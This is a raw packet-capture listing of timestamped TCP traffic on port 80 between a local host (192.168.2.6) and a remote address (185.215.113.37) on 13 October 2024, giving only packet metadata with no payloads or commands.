Oct 13, 2024 00:47:53.999053001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.999062061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.999097109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.999108076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.999131918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.999140978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.999169111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.999171972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.999212027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089229107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089287043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089297056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089323044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089371920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089375973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089410067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089433908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089442968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089468002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089478970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089492083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089521885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089528084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089556932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089574099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089610100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089706898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089740992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089764118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089776039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089790106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089811087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089824915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089845896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089855909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089879990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089884043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089914083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089924097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089946985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089956045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.089982986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.089992046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090018034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090068102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090270996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090320110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090322018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090356112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090373993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090389013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090406895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090421915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090455055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090466976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090491056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090495110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090526104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090538979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090559959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090572119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090595007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090629101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090635061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090651035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090661049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090675116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090696096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090729952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090742111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090764046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090775013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090800047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090810061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090835094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090846062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090869904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090881109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090904951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090919018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.090939045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.090986013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091244936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091279984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091291904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091314077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091334105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091347933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091363907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091401100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091402054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091437101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091469049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091481924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091502905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091531992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091536045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091545105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091569901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091587067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091603994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091615915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091639996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091650009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091672897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091698885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091707945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091730118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091737986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091754913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091772079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091783047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091805935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091819048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091840029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091861963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091873884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091878891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091908932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.091936111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.091959953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092284918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092320919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092353106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092372894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092386961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092400074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092422009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092432022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092468977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092474937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092510939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092524052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092556953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092569113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092600107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092606068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092634916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092649937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092669010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092684031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092704058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092724085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092739105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092750072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092775106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092809916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092820883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092845917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092854023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092880964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092891932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092917919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092927933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.092952967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.092988014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093003988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093031883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093118906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093168020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093169928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093209028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093219995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093242884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093249083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093278885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093290091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093312979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093346119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093360901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093379974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093394995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093414068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093425035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093449116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093482018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093497038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093517065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093529940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093549013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093584061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093599081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093619108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093637943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093652010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093667030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093687057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093693972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093723059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093729019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093759060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093769073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093794107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.093801022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.093837976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094001055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094118118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094151020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094165087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094186068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094194889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094219923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094232082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094257116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094266891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094294071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094309092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094331026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094333887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094361067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.094374895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.094404936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178014994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178070068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178082943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178102016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178113937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178144932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178154945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178189993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178201914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178241968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178242922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178277016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178292036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178318977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178328037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178363085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178374052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178416014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178448915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178468943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178493023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178524971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178576946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178606987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178611994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178617001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178649902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178689957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178699970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178735018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178742886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178770065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178780079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178805113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178814888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178849936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178855896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178889990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178905010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178932905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178932905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.178972960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.178992987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179007053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179024935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179039001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179049015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179074049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179080963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179106951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179116011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179141045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179148912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179176092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179183006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179209948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179219961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179243088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179276943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179287910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179310083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179321051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179344893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179353952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179378986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179395914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179426908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179450035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179482937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179497004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179517031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179523945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179549932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179562092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179584026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179594040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179620028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179630041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179653883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179663897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179687977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179697037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179723024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179734945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179759979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179770947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179796934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179830074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179841995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179871082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179883003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179915905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179949045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179959059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.179981947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.179994106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180016994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180038929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180051088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180061102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180084944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180094004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180120945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180133104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180155993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180165052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180190086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180223942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180233002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180257082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180265903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180293083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180300951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180339098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180406094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180439949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180452108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180488110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.180496931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180531025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.180552006 CEST	49711	80	192.168.2.6	185.215.113.37
